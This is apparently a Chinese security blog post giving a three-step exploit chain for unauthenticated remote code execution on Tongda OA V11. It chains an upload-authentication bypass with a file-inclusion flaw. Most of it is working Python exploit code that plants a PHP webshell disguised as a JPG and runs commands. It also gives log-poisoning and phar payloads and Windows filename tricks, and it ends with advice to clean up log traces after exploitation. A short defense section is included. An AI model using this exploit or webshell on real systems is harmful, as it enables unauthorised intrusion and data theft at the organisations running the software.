通达OA V11 文件上传+包含漏洞组合利用:3步构造EXP实现未授权RCE

📅 2026/7/8 19:53:09
通达OA V11 文件上传+包含漏洞组合利用:3步构造EXP实现未授权RCE
通达OA V11漏洞组合利用实战从文件上传到未授权RCE的完整攻击链解析漏洞背景与影响范围通达OA作为国内广泛使用的办公自动化系统其安全性直接关系到大量企事业单位的核心业务数据。近期曝光的文件上传与文件包含组合漏洞允许攻击者在未授权情况下实现远程代码执行RCE危害等级被评定为高危。受影响版本包括通达OA V11全系列2017版及以下2016版及以下2015版及以下2013增强版及以下重要提示该漏洞组合利用可获得SYSTEM权限实际测试环境中请务必获得书面授权后再进行操作漏洞原理深度剖析1. 未授权文件上传漏洞漏洞位于/ispirit/im/upload.php关键缺陷在于身份验证绕过机制if (isset($P) !empty($P)) { // 绕过身份验证 } else { require_once auth.php; // 正常认证流程 }利用要点P参数只需存在且非空即可绕过认证UPLOAD_MODE必须设置为2DEST_UID不能为0上传文件通过ATTACHMENT字段传递虽然系统会检查文件后缀禁止.php但存在多种绕过方式常见绕过手法对比方法适用场景限制条件双扩展名(.php.jpg)Windows系统需配合文件包含特殊字符截断(%00)PHP5.3版本限制大小写混淆(.PhP)弱校验规则较少适用MIME类型欺骗前端校验需抓包修改2. 文件包含漏洞漏洞存在于/ispirit/interface/gateway.php核心问题在于路径校验不严if ($url ! ) { if (strpos($url, general/) ! false || strpos($url, ispirit/) ! false || strpos($url, module/) ! false) { include_once $url; // 危险的文件包含 } }利用特征通过JSON格式传递url参数路径中需包含general/等关键词支持目录遍历(../)无后缀限制可包含图片等非PHP文件实战漏洞利用三部曲第一步构造恶意文件上传使用Python的requests库构造特殊上传请求import requests target http://target.com upload_url f{target}/ispirit/im/upload.php malicious_file { ATTACHMENT: (shell.php.jpg, ?php system($_GET[cmd]);?, image/jpeg) } params { P: 1, UPLOAD_MODE: 2, DEST_UID: 1 } response requests.post(upload_url, filesmalicious_file, dataparams) if file_id in response.text: print([] 文件上传成功) file_path parse_response(response.text) # 解析返回路径 else: print([-] 上传失败)关键技巧使用图片后缀绕过基础检测保持MIME类型为合法图片格式确保返回的路径包含时间戳和随机字符串第二步定位文件包含路径通达OA上传文件的存储路径有固定规律/attach/im/[年][月]/[随机字符串].jpg通过包含上传的文件实现代码执行include_url f{target}/ispirit/interface/gateway.php payload { json: {url:/general/../../attach/im/202404/1234567890.jpg} } cmd whoami response requests.post(include_url, datapayload, params{cmd: cmd}) print(response.text)路径计算技巧使用../跳出web目录结合上传返回的时间信息确定年份月份多层遍历确保找到上传目录第三步自动化EXP实现完整攻击链Python实现#!/usr/bin/env python3 import requests import re import argparse def exploit(target): # 文件上传阶段 upload_data { P: 1, UPLOAD_MODE: 2, DEST_UID: 1 } files {ATTACHMENT: (payload.php.jpg, ?$_GET[0]?, image/jpeg)} try: upload_resp requests.post( f{target}/ispirit/im/upload.php, dataupload_data, filesfiles, timeout10 ) if file_id not in upload_resp.text: print([-] 文件上传失败) return False # 解析文件路径 match re.search(rATTACHMENT_ID:(\d), upload_resp.text) if not match: print([-] 无法解析文件路径) return False file_id match.group(1) include_path f/general/../../attach/im/{file_id[:4]}/{file_id[4:]}.jpg # 验证RCE test_cmd {json: f{{url:{include_path}}}, 0: echo RCE_SUCCESS} resp requests.get( f{target}/ispirit/interface/gateway.php, paramstest_cmd, timeout10 ) if RCE_SUCCESS in resp.text: print(f[] 漏洞利用成功Webshell路径: {include_path}) return True else: print([-] RCE验证失败) return False except Exception as e: print(f[-] 发生错误: {str(e)}) return False if __name__ __main__: parser argparse.ArgumentParser() parser.add_argument(-t, --target, requiredTrue, help目标URL) args parser.parse_args() if not exploit(args.target): print(漏洞利用未成功)EXP功能说明自动完成文件上传和路径解析内置基本命令执行验证返回可重用的Webshell路径支持GET方式命令执行高级利用技巧1. 日志文件包含攻击当直接上传受限时可包含系统日志POST /ispirit/interface/gateway.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded json{url:/general/../../nginx/logs/access.log}操作要点先通过正常请求注入PHP代码到日志注意避免特殊字符被编码单引号比双引号更可靠2. Phar协议反序列化构造特殊压缩包实现绕过# 1. 创建恶意PHP文件 echo ?php system($_GET[cmd]);? shell.php # 2. 压缩并重命名 zip test.zip shell.php mv test.zip test.jpg # 3. 上传后通过phar协议包含 json{url:phar://./attach/im/test.jpg/shell.php}3. Windows特性利用利用Windows文件系统特性末尾加点(shell.php.)自动去除保留文件名(shell.php::$DATA)短文件名特性防御与修复方案临时缓解措施限制/ispirit/目录的访问权限监控异常文件上传行为禁用不必要的JSON解析功能官方补丁修复文件上传漏洞强制进行身份验证文件包含漏洞过滤../等路径遍历字符长期安全建议实施WAF规则拦截异常包含请求定期进行安全代码审计建立文件上传白名单机制漏洞研究启示组合漏洞往往产生112的效果默认配置下的中间件权限需特别关注文件上传功能必须实现多维度的防御内容校验权限控制存储隔离执行限制在实际渗透测试中建议先通过信息收集确定具体版本再选择对应的利用方式。同时注意漏洞利用可能产生的日志痕迹做好清理工作。